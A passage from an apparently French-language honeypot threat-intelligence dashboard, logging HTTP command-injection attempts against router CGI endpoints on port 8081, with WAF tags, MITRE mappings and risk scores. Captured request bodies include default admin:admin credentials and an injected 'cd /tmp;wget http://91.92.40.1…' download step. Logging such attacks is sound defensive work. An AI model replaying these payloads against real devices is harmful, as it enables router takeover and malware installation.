"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 11 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:05 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /apply.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /apply.cgi
Émulateur
HTTP
WAF
34
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/apply.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
CRS 932205
Ligne de requête
POST /apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-url
Requête brute (extrait)
POST /apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 352 Connection: close submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_tracerou
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "31402cc48ac7ac052e1d50fc94349665a12c2c45",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 531,
"payload_entropy": 5.37112673408315,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "1c5dcf3e0abf2bbffb5e61322e8d6db5b1633b92",
"event_fingerprint": "776ffb2a7499e20a6aef854f832a2ad0b7b0ea31",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"CRS 932205"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b6e4d00926355a796a8d2b9ce095564f",
"path_pattern_hash": "b3e1dfd605a877958cebee595444f5d1"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 352\r\nConnection: close\r\n\r\nsubmit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_tracerou",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"evidence": {
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 352\r\nConnection: close\r\n\r\nsubmit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_tracerou",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "961b6d4ca5019bcbf95dbbe8fe0490fcdabbe834",
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_auth_header_token",
"http_basic_auth",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:05 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /storage/apply.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /storage/apply.cgi
Émulateur
HTTP
WAF
40
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/storage/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/storage/apply.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /storage/apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /storage/apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-
Requête brute (extrait)
POST /storage/apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 230 Connection: close next_page=/tmp/.s&submit_button=;cd%20/tmp%3Bwget%20http://91.92.40.1
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "add1b8e10b8941fd0e4f371c263f3015864c76c9",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 417,
"payload_entropy": 5.333208035071363,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 13,
"anomaly_count": 0,
"campaign_key": "ededda045700a96c95dbbf21d705846bd9d423b4",
"event_fingerprint": "8253286b6538ce970853da654e3d0e94d18b2462",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "81a4ae6f8e6ca129c8fa6dfc37087369",
"path_pattern_hash": "83b3b174f9cbd5824928567f1b35cdbf"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-",
"method": "POST",
"path": "\/storage\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/storage\/apply.cgi HTTP\/1.1",
"request_sample": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 230\r\nConnection: close\r\n\r\nnext_page=\/tmp\/.s&submit_button=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.1",
"payload_snippet": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-",
"evidence": {
"method": "POST",
"path": "\/storage\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/storage\/apply.cgi HTTP\/1.1",
"request_sample": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 230\r\nConnection: close\r\n\r\nnext_page=\/tmp\/.s&submit_button=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.1",
"payload_snippet": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2800a067d057183bdd28b8142c0f36c6a2876a05",
"protocol_details": {
"http_method": "POST",
"http_path": "\/storage\/apply.cgi",
"request_line": "POST \/storage\/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/storage\/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/storage\/apply.cgi",
"request_line": "POST \/storage\/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/storage\/apply.cgi",
"evidence_snippet": "POST \/storage\/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_auth_header_token",
"http_basic_auth",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:04 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /apply.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /apply.cgi
Émulateur
HTTP
WAF
34
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/apply.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
CRS 932205
Ligne de requête
POST /apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-url
Requête brute (extrait)
POST /apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 350 Connection: close submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&act
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "31402cc48ac7ac052e1d50fc94349665a12c2c45",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 529,
"payload_entropy": 5.371261608826124,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "1c5dcf3e0abf2bbffb5e61322e8d6db5b1633b92",
"event_fingerprint": "776ffb2a7499e20a6aef854f832a2ad0b7b0ea31",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"CRS 932205"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "6eac4cfc497297453e2d33e834d222a1",
"path_pattern_hash": "b3e1dfd605a877958cebee595444f5d1"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 350\r\nConnection: close\r\n\r\nsubmit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&act",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"evidence": {
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
